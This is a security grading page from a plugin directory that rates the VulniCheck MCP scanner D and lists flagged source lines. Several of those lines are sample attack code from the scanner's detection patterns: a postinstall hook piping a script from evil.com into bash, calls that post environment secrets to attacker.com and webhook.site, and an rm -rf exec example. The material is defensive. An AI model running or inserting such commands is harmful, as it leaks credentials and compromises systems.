Grades are a hygiene check, not a security guarantee.

MCP, MCP server

io.github.andrasfe/vulnicheck

VulniCheck provides comprehensive security analysis for Python projects and GitHub repositories using AI-powered vulnerability detection.

Compatibility: Not stated.

Grade D

Two or more Medium findings, or a High finding. Only try it in a sandbox.

Graded by PlugVetRubric v2

Not a guarantee. A hygiene check of the source at the commit shown, not a security audit.

INSTALL_REMOTE_SCRIPT

Why this grade

  • INSTALL_REMOTE_SCRIPT High

    Fetches a script from the network and runs it (a pipe to a shell, or an install hook with a URL).

    vulnicheck/scanners/nodejs/patterns.py, line 1371 code='"postinstall": "curl https://evil.com/payload.sh | bash"',

Any High, or two or more Medium findings, give D. One Medium gives C. Low findings or a security Note give B. Each code names a finding behind the letter.

If you think this grade is wrong, email [email protected] with the entry link and your evidence. We aim to acknowledge within two working days and decide within seven. If we confirm an error, we aim to correct it within 24 hours of confirming it. These are aims, not guarantees.

Grades are a hygiene check of the source at the commit shown, on the date checked, not a security audit or a guarantee. The free directory grades are automated. Before release, a PlugVet engineer reviews every paid report and any grade we hold back, including all F grades, against the source code and the evidence we quote.

What was checked

Plain notes from the hygiene checks.

  • Permissions

    Concern

    can delete files.

    PERMISSION_DELETE_FILES

    vulnicheck/core/space_manager.py, line 148

    shutil.rmtree(item, ignore_errors=True)

    vulnicheck/core/zip_handler.py, line 355

    shutil.rmtree(temp_dir, ignore_errors=True)

    vulnicheck/mcp/mcp_config_cache.py, line 227

    result = subprocess.run(

    Show more

    vulnicheck/mcp/mcp_validator.py, line 64

    shutil.rmtree(_MCP_SCAN_TEMP_DIR)

    vulnicheck/mcp/mcp_validator.py, line 234

    result = subprocess.run(

    vulnicheck/scanners/github_scanner.py, line 261

    shutil.rmtree(target_dir, ignore_errors=True)

    vulnicheck/scanners/secrets_scanner.py, line 317

    result = subprocess.run(

    vulnicheck/scanners/secrets_scanner.py, line 359

    shutil.rmtree(temp_dir)

    vulnicheck/scanners/nodejs/ast_engine.py, line 43

    For ``child_process.exec()`` the receiver is ``"child_process"``.

    vulnicheck/scanners/nodejs/patterns.py, line 199

    name="child_process.exec with unsanitized arguments",

    vulnicheck/scanners/nodejs/patterns.py, line 201

    "Detects calls to child_process.exec, execSync, or spawn-family "

    vulnicheck/scanners/nodejs/patterns.py, line 218

    code='child_process.exec(`rm -rf ${userPath}`);',

    vulnicheck/scanners/nodejs/patterns.py, line 235

    code='child_process.exec("ls -la /tmp");',

    vulnicheck/scanners/nodejs/patterns.py, line 1604

    fs.unlinkSync(args.path);

    vulnicheck/scanners/nodejs/patterns.py, line 1622

    fs.unlinkSync(args.path);

  • Install and update

    Serious

    install fetches a script from the network.

    INSTALL_REMOTE_SCRIPT

    vulnicheck/scanners/nodejs/patterns.py, line 1371

    code='"postinstall": "curl https://evil.com/payload.sh | bash"',

    .beads/README.md, line 64

    curl -sSL https://raw.githubusercontent.com/steveyegge/beads/main/scripts/install.sh | bash

  • Network

    Concern

    can reach a host that is not written as a fixed address. can reach attacker.com. The description does not name that host. can reach webhook.site. The description does not name that host. can reach api.internal.com. The description does not name that host. can reach evil.com. The description does not name that host.

    NETWORK_NO_FIXED_HOST NETWORK_UNNAMED_HOST

    restart-vulnicheck-ngrok.sh, line 42

    if ! curl -s http://localhost:4040/api/tunnels > /dev/null 2>&1; then

    restart-vulnicheck-ngrok.sh, line 50

    NGROK_URL=$(curl -s http://localhost:4040/api/tunnels | grep -o '"public_url":"https://[^"]*' | grep -o 'https://[^"]*' | head -1)

    vulnicheck/scanners/nodejs/pattern_utils.py, line 244

    (e.g., ``eval()``, ``exec()``, ``fetch()``).

    Show more

    vulnicheck/scanners/nodejs/patterns.py, line 552

    code='WebAssembly.compileStreaming(fetch(url));',

    vulnicheck/scanners/nodejs/patterns.py, line 995

    code='await fetch("https://attacker.com/collect", { method: "POST", body: JSON.stringify(data) });',

    vulnicheck/scanners/nodejs/patterns.py, line 1000

    code='axios.post("https://webhook.site/abc", { env: process.env });',

    vulnicheck/scanners/nodejs/patterns.py, line 1005

    code='http.request({ hostname: "evil.com", method: "POST" });',

    vulnicheck/scanners/nodejs/patterns.py, line 1012

    code='await fetch("https://api.internal.com/data");',

    vulnicheck/scanners/nodejs/patterns.py, line 1093

    code='const secret = process.env.API_KEY; fetch("https://evil.com?k=" + secret);',

    vulnicheck/scanners/nodejs/patterns.py, line 1098

    code='axios.post(url, { token: process.env.SECRET_TOKEN });',

  • Secrets

    Concern

    reads a credential or environment file.

    SECRETS_ENV_READ SECRETS_PATH_DOTENV

    restart-vulnicheck-ngrok.sh, line 17

    # Load configuration from .env file first

    restart-vulnicheck-ngrok.sh, line 18

    if [ -f .env ]; then

    restart-vulnicheck-ngrok.sh, line 19

    source .env

    Show more

    restart-vulnicheck-ngrok.sh, line 23

    echo -e "${RED}ERROR: .env file not found!${NC}"

    restart-vulnicheck-ngrok.sh, line 24

    echo "Create a .env file with GOOGLE_CLIENT_ID and GOOGLE_CLIENT_SECRET"

    restart-vulnicheck-ngrok.sh, line 30

    echo -e "${RED}ERROR: OAuth credentials not found in .env file!${NC}"

    restart-vulnicheck-ngrok.sh, line 31

    echo "Make sure .env contains GOOGLE_CLIENT_ID and GOOGLE_CLIENT_SECRET"

    restart-vulnicheck-ngrok.sh, line 35

    # Get ngrok URL - use .env value if set, otherwise auto-detect

    vulnicheck/server.py, line 136

    nvd_client = NVDClient(api_key=os.environ.get("NVD_API_KEY"))

    vulnicheck/server.py, line 137

    github_client = GitHubClient(token=os.environ.get("GITHUB_TOKEN"))

    vulnicheck/server.py, line 4340

    if os.environ.get("NVD_API_KEY"):

    vulnicheck/server.py, line 4349

    if os.environ.get("GITHUB_TOKEN"):

    vulnicheck/server.py, line 4372

    client_secret = os.environ.get("FASTMCP_SERVER_AUTH_GOOGLE_CLIENT_SECRET")

    vulnicheck/auth/google_oauth.py, line 34

    client_secret = client_secret or os.environ.get("FASTMCP_SERVER_AUTH_GOOGLE_CLIENT_SECRET")

    vulnicheck/core/service_container.py, line 106

    self._nvd_client = NVDClient(api_key=os.environ.get("NVD_API_KEY"))

    vulnicheck/core/service_container.py, line 107

    self._github_client = GitHubClient(token=os.environ.get("GITHUB_TOKEN"))

  • Agent instructions

    Pass

    No instruction to ignore earlier instructions or to hide a step.

  • Obfuscation

    Note

    a file was over the read cap and was not fully read.

    OBFUSCATION_FILE_OVER_READ_CAP

    uv.lock, line 1

    version = 1

  • Licence

    Pass

    A licence file is present (LICENSE).

  • Maintainer activity

    Pass

    The latest commit is within the last 365 days.

Note

Hygiene check of commit 48bed3163a0d. can delete files. install fetches a script from the network. can reach a host that is not written as a fixed address. can reach attacker.com. The description does not name that host. can reach webhook.site. The description does not name that host. can reach api.internal.com. The description does not name that host. can reach evil.com. The description does not name that host. reads a credential or environment file. a file was over the read cap and was not fully read.

Date and source

Date checked:

View source

github.com

Commit graded: 48bed3163a0db157c6f44db374902a3731b7b130

This link goes to the original host. PlugVet does not host or check what you download from there, and installing it is your own decision and risk.

Read how this letter is chosen